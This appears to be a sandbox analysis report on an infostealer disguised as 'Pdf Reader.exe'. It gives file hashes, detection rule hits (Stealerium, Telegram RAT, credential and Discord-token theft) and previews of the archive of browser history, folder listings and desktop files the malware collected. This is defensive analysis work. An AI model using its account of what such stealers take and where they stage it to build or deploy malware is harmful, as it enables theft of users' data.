SSDEEP:	98304:FkqXf0FlL9nrYAWAZi6sfLxkuahjCOeX9YG9see5GnRyCAm0makxH13:FkSIlLtzWAXAkuujCPX9YG9he5GnQCAo
MD5:	E91657014183219FD6D6535BAAE97B7C
SHA1:	C7B3CF4CD1F6F52AC52B427AD25509DC6C990289
SHA-256:	0461541ABAE499104970D012841DB7BB7BB02EA1D40D5C295A061B38E6FB7231
SHA-512:	69CB9171402023578727A4F7183C24AC63896409A9FEFCAAD432BDE41060BD4C99345865B5B88705297FA91C777F6F3E094D6B522863E628A9EF815730F9C36A
Malicious:	true
Yara Hits:	Rule: JoeSecurity_TelegramRecon, Description: Yara detected Telegram Recon, Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe, Author: Joe Security Rule: JoeSecurity_Stealerium, Description: Yara detected Stealerium, Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe, Author: Joe Security Rule: JoeSecurity_AntiVM_5, Description: Yara detected AntiVM_5, Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe, Author: ditekSHen
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Y..........."...0..&9..:.......E9.. ........@.. ........................<...........`.................................4E9.W....`9..7....................<......E9.............................................. ............... ..H............text....%9.. ...&9................. ..`.rsrc....7...`9..8...(9.............@..@.reloc........<......`<.............@..B................pE9.....H........U7......... ......L%6..........................................(......0../.........(....}.......}......\|......(...+..\|....(....*..0..........r...p.....r...p.....rm..p.....r...p.....r...p.....r...p.....r...p.....r...p.....r...p.....r...p.....r...p.....r...p.....s....%r...pr...po....%r...pr...po....%r[..prc..po....%r...pr...po....%r#..pr+..po....%r...pr...po....%r...pr...po....%rz..pr...po....%r...pr...po....%rB..prJ..po....%r...pr...po....%r...pr...po....%rn..pr\|..p

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH.zip

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	151841
Entropy (8bit):	7.93068557204228
Encrypted:	false
SSDEEP:	1536:iycFNfM/mVcOfc9X6PSKvh6+gkUI9LaWnfMjwNOi6hizBedpidP6nVXDYf3fxIZs:8M/XOfcKw+ge94jw4foeGx4KXCtoj3n9
MD5:	8750A598AAF0411262975F36C426E58C
SHA1:	6D907E500F4AB1AB3A10C05E9151BCA1A9D843DC
SHA-256:	6574FE4D46F5ED2F8BE380F440F8B29D25380E880BAEE445F78D34F0B45345A3
SHA-512:	E71DF46E66BECDBF75DE0F60ADCD5695DC9B7AE477DF8BEED726B1B0AC26DC21014A16B242BB0EBA73E3A7B44C15AF5E82F681E37EE4D9D01B56FC55A219EEF6
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Stealerium, Description: Yara detected Stealerium, Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH.zip, Author: Joe Security
Preview:	PK.........#.Y................Browsers/Edge/History.txt.J.F.Y..._..PK.........#.Yq.C]t...........Browsers/Firefox/Bookmarks.txt6...,.XA."..f."=z.Xh.A....%R..T{.\|.6....v`Zd`..~.........H..........H?..4.MW:O.Y......u........;.....IW....PT.PK..q.C]t.......PK.........#.Y...sl...^.......Browsers/Firefox/History.txt........9....>..t..%.q..8..`:,....4^.x..n@.(g.y..._aht.. ..:...C.#....X..T....:.P....%...u.6..Q#>.<PK.....sl...^...PK.........#.Y................Browsers/Google/Downloads.txt......D.4.g)PK.........#.Y................Browsers/Google/History.txt.yF.,?Q._.:PK.........#.Y...iP...5.......Directories/Desktop.txt...T........s....S.~..*.P.X...y%.a=.]\|Q.D.#..U_..o....i....b.#....sJ~g.p...Y..p.ZD.N...h.Bl. ..:a.5....p............%#..K.......;.D..d.Bq..n4..z..m'`..K....j.@.-...K&<.1........x)_m.s....Ye]...l;\.....K...a..B..]..fNr.OM!. ....?.......t.......Qpr.-[.:V<.........(....3LS.....C.[S.&..o..X.v....w....(8..c.@..bxK.PK.....iP...5...PK.........#.Y

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Browsers\Firefox\Bookmarks.txt

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	220
Entropy (8bit):	4.546534105739819
Encrypted:	false
SSDEEP:	6:Kw5FBeKjMnf3eKj5ZKMeKjYLC/eKjtyRE2YReK3:KCBH4n/HHKMHsL0HMRE2uH3
MD5:	2AB1FD921B6C195114E506007BA9FE05
SHA1:	90033C6EE56461CA959482C9692CF6CFB6C5C6AF
SHA-256:	C79CFDD6D0757EB52FBB021E7F0DA1A2A8F1DD81DCD3A4E62239778545A09ECC
SHA-512:	4F0570D7C7762ECB4DCF3171AE67DA3C56AA044419695E5A05F318E550F1A910A616F5691B15ABFE831B654718EC97A534914BD172AA7A963609EBD8E1FAE0A5
Malicious:	false
Preview:	Title: Get Help.URL: (No URL provided)..Title: Customize Firefox.URL: (No URL provided)..Title: Get Involved.URL: (No URL provided)..Title: About Us.URL: (No URL provided)..Title: Getting Started.URL: (No URL provided)..

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Browsers\Firefox\History.txt

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	94
Entropy (8bit):	4.890995272476094
Encrypted:	false
SSDEEP:	3:qtNRROrSLvIJiMhKVX3L2WdXOfZiGPHA9lfMJJEv:MeGLciA8dXwZiG/CF0Ev
MD5:	A72509876646BC379E1D8C3B895ED0ED
SHA1:	2F270C6A8E07FA7FEE8C07A1FD100474A9A513A8
SHA-256:	8BF712CABAC55E09FF74348817A29572826688AE4AB516848FE882BC5DEF91E7
SHA-512:	FDCB7BB82C0AF434610311D7B12EB2D6AEF7ADB8B040EBA97D3F115C18810799EEDC02B39AF6992C15552568B5BC799889CC185191D5E783DEB82DC98946A5EB
Malicious:	false
Preview:	URL: https://www.mozilla.org/en-US/privacy/firefox/.Title: Firefox Privacy Notice . Mozilla.

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Browsers\Google\History.txt

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	244
Entropy (8bit):	5.087743120757909
Encrypted:	false
SSDEEP:	6:Uqf7R5WzLVMz3eYeDPO+YtnJXQcOG4E2WzLVMz3eYeDPOCd4:UO2zGjeDDPOtnKcOHPWzGjeDDPO7
MD5:	4C0A246FFF442FDA266D22D0038B1D16
SHA1:	9EC99F882E0D4B9B9305AADBA1875F88CF7A740D
SHA-256:	44F3AB1DC0DC9397D7CE58C447533146360F68AFD3114D22AAE5056B10EC0E24
SHA-512:	6E1C3DB12EBAA416448581C24D7FB1DD7F34BBD1FB40E8657B8A8FEBA9653E99BCD31B599DC7CA52E31C5560ECEA8E40B73C7E6DE1362AFF459E59F5B18B6D8D
Malicious:	false
Preview:	URL: Examples of Office product keys - Microsoft Support.Title: https://go.microsoft.com/fwlink/?linkid=851546..URL: Install the English Language Pack for 32-bit Office - Microsoft Support.Title: https://go.microsoft.com/fwlink/?LinkId=2106243.

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Directories\Desktop.txt

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	821
Entropy (8bit):	5.226279607586053
Encrypted:	false
SSDEEP:	24:WgokV1LFTNkYQPBhsV/AwO8I+b/8PjMwPR0YZ9ZI5Lcx0AaFv0sM:fjvV/TO28PAwP1HM1VM
MD5:	C2C5A6CFC4CAE911A6BEFE795CB60C48
SHA1:	A096514141730D7BD903AFA761E4784E915891FF
SHA-256:	0228E8ECCBE267022401F62846EB6AED3B5E60A01CD7022452F1E665BF9541CF
SHA-512:	410E70EC65BAB8AF9EFBD49BE9FCD14D7BD1B907F23688F6A958C0F9F969B003AE63D818098C9600F685ADEB7A7CF9273B22CBBD0C757BD5623EEC80787610E9
Malicious:	false
Preview:	Desktop\...LTKMYBSEYZ\...MXPXCVPDVN\...NIKHQAIQAU\...NWTVCDUMOB\...ONBQCLYSPU\....DVWHKMNFNN.mp3....HTAGVDFUIE.png....KATAXZVCPS.jpg....ONBQCLYSPU.docx....UMMBDNEQBN.pdf....VLZDGUKUTZ.xlsx...RAYHIWGKDI\...UMMBDNEQBN\....BPMLNOBVSB.png....CURQNKVOIX.mp3....DVWHKMNFNN.xlsx....JSDNGYCOWY.jpg....UMMBDNEQBN.docx....WUTJSCBCFX.pdf...VAMYDFPUND\...VLZDGUKUTZ\....DVWHKMNFNN.pdf....JSDNGYCOWY.mp3....KATAXZVCPS.xlsx....NWTVCDUMOB.jpg....VLZDGUKUTZ.docx....YPSIACHYXW.png...BPMLNOBVSB.png...CURQNKVOIX.mp3...desktop.ini...DVWHKMNFNN.mp3...DVWHKMNFNN.pdf...DVWHKMNFNN.xlsx...Excel.lnk...HTAGVDFUIE.png...JSDNGYCOWY.jpg...JSDNGYCOWY.mp3...KATAXZVCPS.jpg...KATAXZVCPS.xlsx...NWTVCDUMOB.jpg...ONBQCLYSPU.docx...Pdf Reader.exe...UMMBDNEQBN.docx...UMMBDNEQBN.pdf...VLZDGUKUTZ.docx...VLZDGUKUTZ.xlsx...WUTJSCBCFX.pdf...YPSIACHYXW.png..

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Directories\Documents.txt

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	946
Entropy (8bit):	5.328027505386671
Encrypted:	false
SSDEEP:	24:MgoJxrqEEqV1LFTNkYQPBhsV/AwO8I+b/8PjMJYZ9ZI5Lcx0AaFY0sM:qBqEEkjvV/TO28PAeHMGVM
MD5:	32FFACA37E112D50C0ED0794A337C332
SHA1:	CC10AB3AE121183B0ED106F1B09134E349D1963E
SHA-256:	DF85C9EB0CF4C67BA0EEBD1115C0020E6047B86A31D9694825ED2B6C4BDE5A3B
SHA-512:	1E2139C84CA0918803A2E9674CA471EBCFDA7FD170807B0CBAFF4DAFAEA78CCC1535FA081A7382F41E2DCCC33AB1ED2A168FDD8053204865EF4BA8BC1B7BF1BB
Malicious:	false
Preview:	Documents\...LTKMYBSEYZ\...MXPXCVPDVN\...My Music\....desktop.ini...My Pictures\....Camera Roll\.....desktop.ini....Saved Pictures\.....desktop.ini....desktop.ini...My Videos\....desktop.ini...NIKHQAIQAU\...NWTVCDUMOB\...ONBQCLYSPU\....DVWHKMNFNN.mp3....HTAGVDFUIE.png....KATAXZVCPS.jpg....ONBQCLYSPU.docx....UMMBDNEQBN.pdf....VLZDGUKUTZ.xlsx...RAYHIWGKDI\...UMMBDNEQBN\....BPMLNOBVSB.png....CURQNKVOIX.mp3....DVWHKMNFNN.xlsx....JSDNGYCOWY.jpg....UMMBDNEQBN.docx....WUTJSCBCFX.pdf...VAMYDFPUND\...VLZDGUKUTZ\....DVWHKMNFNN.pdf....JSDNGYCOWY.mp3....KATAXZVCPS.xlsx....NWTVCDUMOB.jpg....VLZDGUKUTZ.docx....YPSIACHYXW.png...BPMLNOBVSB.png...CURQNKVOIX.mp3...desktop.ini...DVWHKMNFNN.mp3...DVWHKMNFNN.pdf...DVWHKMNFNN.xlsx...HTAGVDFUIE.png...JSDNGYCOWY.jpg...JSDNGYCOWY.mp3...KATAXZVCPS.jpg...KATAXZVCPS.xlsx...NWTVCDUMOB.jpg...ONBQCLYSPU.docx...UMMBDNEQBN.docx...UMMBDNEQBN.pdf...VLZDGUKUTZ.docx...VLZDGUKUTZ.xlsx...WUTJSCBCFX.pdf...YPSIACHYXW.png..

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Directories\Downloads.txt

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.253254012587501
Encrypted:	false
SSDEEP:	6:3tcKPHw5LKIyeWdHsDdjWvfca9caIVT/Dvcx0/4unFEKjr4rmsr7MKOvsk2FNs:aWQ5LKPemHsDdinZ9ZI5/zcx0/4aFEK7
MD5:	7F8BA7AFDA4495E26D2856613A3F0ED8
SHA1:	4E48BB3A46168266169FAEB9BB39895E4AF538A7
SHA-256:	6D87325BFC8EA6826D631D2D651D50A6AEE74890DFCE7FF674B05AB95F5CF2FB
SHA-512:	1ECE36B3ACC8753B7374F7DE930A4938C03E2DBD250A82D2C2EAF3A2AEB809A6E779DE9345D6F6BBED7832EA4B0AF244D130AACFFE7184C51688F5C32F36301E
Malicious:	false
Preview:	Downloads\...BPMLNOBVSB.png...CURQNKVOIX.mp3...desktop.ini...DVWHKMNFNN.mp3...DVWHKMNFNN.pdf...DVWHKMNFNN.xlsx...HTAGVDFUIE.png...JSDNGYCOWY.jpg...JSDNGYCOWY.mp3...KATAXZVCPS.jpg...KATAXZVCPS.xlsx...NWTVCDUMOB.jpg...ONBQCLYSPU.docx...UMMBDNEQBN.docx...UMMBDNEQBN.pdf...VLZDGUKUTZ.docx...VLZDGUKUTZ.xlsx...WUTJSCBCFX.pdf...YPSIACHYXW.png..

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Directories\OneDrive.txt

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.023465189601646
Encrypted:	false
SSDEEP:	3:1hiR8LKB:14R8LKB
MD5:	966247EB3EE749E21597D73C4176BD52
SHA1:	1E9E63C2872CEF8F015D4B888EB9F81B00A35C79
SHA-256:	8DDFC481B1B6AE30815ECCE8A73755862F24B3BB7FDEBDBF099E037D53EB082E
SHA-512:	BD30AEC68C070E86E3DEC787ED26DD3D6B7D33D83E43CB2D50F9E2CFF779FEE4C96AFBBE170443BD62874073A844BEB29A69B10C72C54D7D444A8D86CFD7B5AA
Malicious:	false
Preview:	OneDrive\...desktop.ini..

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Directories\Pictures.txt

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	88
Entropy (8bit):	4.450045114302317
Encrypted:	false
SSDEEP:	3:YzIVqIPLKmwHW8LKKrLKB:nqyLKmYNLKCLKB
MD5:	D430E8A326E3D75F5E49C40C111646E7
SHA1:	D8F2494185D04AB9954CD78268E65410768F6226
SHA-256:	22A45B5ECD9B66441AE7A7AB161C280B6606F920A6A6C25CD7B9C2D4CEB3254D
SHA-512:	1E8139844D02A3009EE89E2DC33CF9ED79E988867974B1291ABA8BC26C30CB952F10E88E0F44A4AEEE162A27E71EAA331CF8AC982B4179DC8203F6F7280BA5AE
Malicious:	false
Preview:	Pictures\...Camera Roll\....desktop.ini...Saved Pictures\....desktop.ini...desktop.ini..

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Directories\Startup.txt

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	24
Entropy (8bit):	4.053508854797679
Encrypted:	false
SSDEEP:	3:jgBLKB:j4LKB
MD5:	68C93DA4981D591704CEA7B71CEBFB97
SHA1:	FD0F8D97463CD33892CC828B4AD04E03FC014FA6
SHA-256:	889ED51F9C16A4B989BDA57957D3E132B1A9C117EE84E208207F2FA208A59483
SHA-512:	63455C726B55F2D4DE87147A75FF04F2DAA35278183969CCF185D23707840DD84363BEC20D4E8C56252196CE555001CA0E61B3F4887D27577081FDEF9E946402
Malicious:	false
Preview:	Startup\...desktop.ini..

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Directories\Temp.txt

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4253
Entropy (8bit):	5.281148334312501
Encrypted:	false
SSDEEP:	96:4jzcRPTmt6qESfxiJNebQVULzYwrbIGVIaQ0xOwq:BtbSJiJ4c6fDUKNXq
MD5:	1DBA2146EC524E5CE51752503F6ED6FD
SHA1:	B6C79155AF8A2669E868307B5A3CD8439DE092EA
SHA-256:	6C74FE1B6D7C3A4F9A4C7E57A604CF22630E3A0D9299639E38AF839482866E75
SHA-512:	2069683305A4D91EB872DDD1536EE1817930D0044203E549EF2FBFE132174EFDD4811B517AFBBA5177E9B132E831679CD39D0E739CF2EAE9E8CA6E1D6FC717CA
Malicious:	false
Preview:	Temp\...acrobat_sbx\....Adobe\.....Acrobat\......DC\....NGL\.....NGLClient_AcrobatReader123.6.20320.6 2023-10-04 13-00-50-743.log.....NGLClient_AcrobatReader123.6.20320.6 2023-10-04 13-01-22-078.log.....NGLClient_AcrobatReader123.6.20320.6.log....acroNGLLog.txt...acrocef_low\...acrord32_super_sbx\....Adobe\.....Acrobat\......DC\.......SearchEmbdIndex\...Diagnostics\....EXCEL\.....App1696334775820156800_6EB929AF-656E-4F43-9731-EA7753E1F1BD.log.....App1696334923056622400_BD966DD2-7850-423A-B1D8-7882CE1A6D15.log.....App1696417072488237400_C12D9B44-3468-47BC-9418-BF0A674A2B2F.log.....App1696417101742322600_290EFEE9-C25A-4857-9F32-D7E6D51B7C09.log.....App1696417118050662300_8475A8C9-2447-4BC4-8E46-350AA0582B94.log.....App1696417118051710600_8475A8C9-2447-4BC4-8E46-350AA0582B94.log.....App_1696413198165042300_AA3FCB9C-CF1A-4407-8A94-A7D6C220021F.log...Low\...mozilla-temp-files\...Symbols\....ntkrnlmp.pdb\.....68A17FAF3012B7846079AEECDBE0A5831\......download.error......ntkrnlmp.pdb....winload

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Directories\Videos.txt

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	23
Entropy (8bit):	3.7950885863977324
Encrypted:	false
SSDEEP:	3:k+JrLKB:k+JrLKB
MD5:	1FDDBF1169B6C75898B86E7E24BC7C1F
SHA1:	D2091060CB5191FF70EB99C0088C182E80C20F8C
SHA-256:	A67AA329B7D878DE61671E18CD2F4B011D11CBAC67EA779818C6DAFAD2D70733
SHA-512:	20BFEAFDE7FEC1753FEF59DE467BD4A3DD7FE627E8C44E95FE62B065A5768C4508E886EC5D898E911A28CF6365F455C9AB1EBE2386D17A76F53037F99061FD4D
Malicious:	false
Preview:	Videos\...desktop.ini..

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Desktop\BPMLNOBVSB.png

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702896917219035
Encrypted:	false
SSDEEP:	24:/PRNNS0CSvZqsz3phzXGrOVx0E5lpmo3ntC4hUh31nnrgy:/wQvwsz3phzWrOVxXnncRh31nrgy
MD5:	C68274AA8B7F713157BEBE2FCC2EA5D3
SHA1:	52A5A2D615A813B518DDAAC2A02095F1059DAAD5
SHA-256:	362C32AB7AEE8A211871A6045DADFEBF087D5EC2A3470FBEF42BC1C0E8CF0542
SHA-512:	BB653D9E0948C2BD3586BC7CABC777BCDA84F749B73B26E4FD667C22F9629D8A7EC4F94ADBCAAF679FC116CDDA1F0D55CB348CD50BD3B6A4484F48A203E32883
Malicious:	false
Preview:	BPMLNOBVSBRFPSKLKRJEVHBRVUUOUWMMDGAHEFTOXDSJSRQBDQADKRAAIMJBBXHJZSYGDGSBIJCBPDLCIPLGVURSSGYXQXCVEDYOHFVNTWOSWAODXQUYSQDZDKFJYMCQZOAAPCNEEITKKQAOZJLGLFTYOILWUOSTJMBMUSHEQYRRGRAOIGHQXDIXRMKPCYCIDORIRGMLSPAFIUBBOMPKCNUTVROXQQMRPPEYTVHGRIWJQZREOHPNIXFSPUEZGKVJWTNJVDHDCOMTLCENQMHDIOFNLZNLPFMCGQAWNZVHKKTCZJIHININWOCQTMBLXKYEUXUUKCZAKOINULOSSFHJSGRNIDZZLUKXSJKRQIPXODCNMCWZEQEGJHTKEBKCHWRCJJEITXLWRGJUOYWSWNFVRXXLTBNUBFYSNPVKHAJAOKQIGZUIREJCJKNRVWECUBFUQVUSSEVFZFGAGLZHTJIRXFGLLTHCDJRQSVBUTENMMECBKNQAOTCGUKCAUANZSSYPURGXINFDSJOSJXFPPQOKWUJNGLOACGPRELXIXQZZNXUEJPFZQRDXMWSGEPNTSQRNGFYRRORGOCRJKMCRFZPVDFDRDZCHPWYNXBAOHXICQPOHWXUVYMEAZUMLLNZQAOCCUKTGCMNZUMKUHEIUUYFGMSIEUWOKDVUTQHRMSVPQFKZILWLKZLKCAJHKFHZJFEJAIIZQWILLXMKWLUETDBWSKQOQQECLVCWJSIQXHNDZAYVIFNNYOZKGGFZMIYUCHYFNVXUHKZCOQBJAYWMEKPQVFWNVIJXYFYHWXFXSXDCSRYIODDWXNUTAYNOXAVMATSYETUSRJPYJEQCIEGHSXOOCALKHPRGXFNWHDUNNXCXELBKBUMKTJRNZBLLQWINSTBBGQYWIVUZENAMGRAYFSSGBXLPJXWYTCERBJXCYMHQMJPSVPWCDSLLUJZTWDDJDHIADYETBWZFZQTYTPWPBFDIVVSAOFDDHMUMYLEFUUIKC

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Desktop\DVWHKMNFNN.pdf

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694985340190863
Encrypted:	false
SSDEEP:	24:fGg1AbmVALQm72DOg+8XDQzjmyhdsENw8TRlrlGpKTkA+oBK:fv1AiVAUmyDruzj37sENjlSKAA+oU
MD5:	C9386BC43BF8FA274422EB8AC6BAE1A9
SHA1:	2CBDE59ADA19F0389A4C482667EC370D68F51049
SHA-256:	F0CC9B94627F910F2A6307D911B1DDD7D1DB69BAD6068EF3331549F3A0877446
SHA-512:	7AACA07E8A4B34E0F75B16B6F30686AC3FB2D5CBDAD92E5934819F969BAFF59385FB8F997334313EA5938FD955D6175C4548D6B1F915D652D9D9201C9418EF83
Malicious:	false
Preview:	DVWHKMNFNNSXRPFRFSVVCQPXSKWHKPJJHYQWYYFONAJQSCOHZADBHUOWOSPDVAOIQVOBHGMIENZQZLABYDKWXGSUQNSEINIQSVMZZWTJLYMGYBQHIJSUWZKJPGBZUGFOXNAMLQTVGWDCYDMNHGVRTUWNHIWXJNQONTAXVVVCFDLWYDVWNMKHRFTZAVEQPXZHSEXPEHWUHPJZDMDXPYEJBYWZOQETVPLRKQRCYTAXMNRBOUJSCYZOUPOBJUWFDMUYFBXCBLZHFHONIURELJQVLWAJRIQCHHASBUAREPSIMJIZDUKJCHMMSSWSEDFHFQOUVYZORWJIUACXUVQKUMLXTQIKDBVNZOHJYYECOBYPNRILKERBHKZPVUSQLHAQRTPWCRMZADYONIIOVUWOBVHAUGZVAGTZTZBMHSOOQORENTXCJFMVWMGLOOXBDWANXXJQQTBDTWOSPFMFVQKLNTSHOPQMHYRYZMWDXVFGWFOSCSFMKCDDHTOQHBTQAFQTXPUHHEAKYRCQIODCCSHRSAJQEFRHCQLQVVMUHWOHHQJPSHCNKRLIRESUXLZIYSWDHHYZVRKLAGFLVTEJQHEEMVUUEQKQMTBDXFGSROZTNPLCVTEEZGUUCQUEKNMQFATATJRARXQQMZYEVACDAXILYPEHYTJOQWSFAJEGHIDIXMKDXPATNSATPECIMRBZNBXXVMGPLMVEKCUOXJWFGQSTWPMTEMRCYGXECVTNKYROYRYTPRDPCFGGKUUBXXSDFZEJCQRIRFLCNMPMLIGUCYPHMWYVAIPAAPHTQAYFSJWLSCZICIXZHXNKAKRHJVENGZTUTVWSNYDDYMWQHHAITLUZXNORBLYTBVCEBWBMSVZXNZMKYFPRFPLFCUSJUWNKQJIZRVZASPVFSUSBYQZZWKEORBDDRCYRBTIMTLHDTZRQUKYJIWHXVJYPEZSDLWZVPZGEYQPCSGGVJXXBUCNBXKQPZTMTVPZUETYYLRJEDWIHAZMS

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Desktop\DVWHKMNFNN.xlsx

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694985340190863
Encrypted:	false
SSDEEP:	24:fGg1AbmVALQm72DOg+8XDQzjmyhdsENw8TRlrlGpKTkA+oBK:fv1AiVAUmyDruzj37sENjlSKAA+oU
MD5:	C9386BC43BF8FA274422EB8AC6BAE1A9
SHA1:	2CBDE59ADA19F0389A4C482667EC370D68F51049
SHA-256:	F0CC9B94627F910F2A6307D911B1DDD7D1DB69BAD6068EF3331549F3A0877446
SHA-512:	7AACA07E8A4B34E0F75B16B6F30686AC3FB2D5CBDAD92E5934819F969BAFF59385FB8F997334313EA5938FD955D6175C4548D6B1F915D652D9D9201C9418EF83
Malicious:	false
Preview:	DVWHKMNFNNSXRPFRFSVVCQPXSKWHKPJJHYQWYYFONAJQSCOHZADBHUOWOSPDVAOIQVOBHGMIENZQZLABYDKWXGSUQNSEINIQSVMZZWTJLYMGYBQHIJSUWZKJPGBZUGFOXNAMLQTVGWDCYDMNHGVRTUWNHIWXJNQONTAXVVVCFDLWYDVWNMKHRFTZAVEQPXZHSEXPEHWUHPJZDMDXPYEJBYWZOQETVPLRKQRCYTAXMNRBOUJSCYZOUPOBJUWFDMUYFBXCBLZHFHONIURELJQVLWAJRIQCHHASBUAREPSIMJIZDUKJCHMMSSWSEDFHFQOUVYZORWJIUACXUVQKUMLXTQIKDBVNZOHJYYECOBYPNRILKERBHKZPVUSQLHAQRTPWCRMZADYONIIOVUWOBVHAUGZVAGTZTZBMHSOOQORENTXCJFMVWMGLOOXBDWANXXJQQTBDTWOSPFMFVQKLNTSHOPQMHYRYZMWDXVFGWFOSCSFMKCDDHTOQHBTQAFQTXPUHHEAKYRCQIODCCSHRSAJQEFRHCQLQVVMUHWOHHQJPSHCNKRLIRESUXLZIYSWDHHYZVRKLAGFLVTEJQHEEMVUUEQKQMTBDXFGSROZTNPLCVTEEZGUUCQUEKNMQFATATJRARXQQMZYEVACDAXILYPEHYTJOQWSFAJEGHIDIXMKDXPATNSATPECIMRBZNBXXVMGPLMVEKCUOXJWFGQSTWPMTEMRCYGXECVTNKYROYRYTPRDPCFGGKUUBXXSDFZEJCQRIRFLCNMPMLIGUCYPHMWYVAIPAAPHTQAYFSJWLSCZICIXZHXNKAKRHJVENGZTUTVWSNYDDYMWQHHAITLUZXNORBLYTBVCEBWBMSVZXNZMKYFPRFPLFCUSJUWNKQJIZRVZASPVFSUSBYQZZWKEORBDDRCYRBTIMTLHDTZRQUKYJIWHXVJYPEZSDLWZVPZGEYQPCSGGVJXXBUCNBXKQPZTMTVPZUETYYLRJEDWIHAZMS

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Desktop\HTAGVDFUIE.png

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
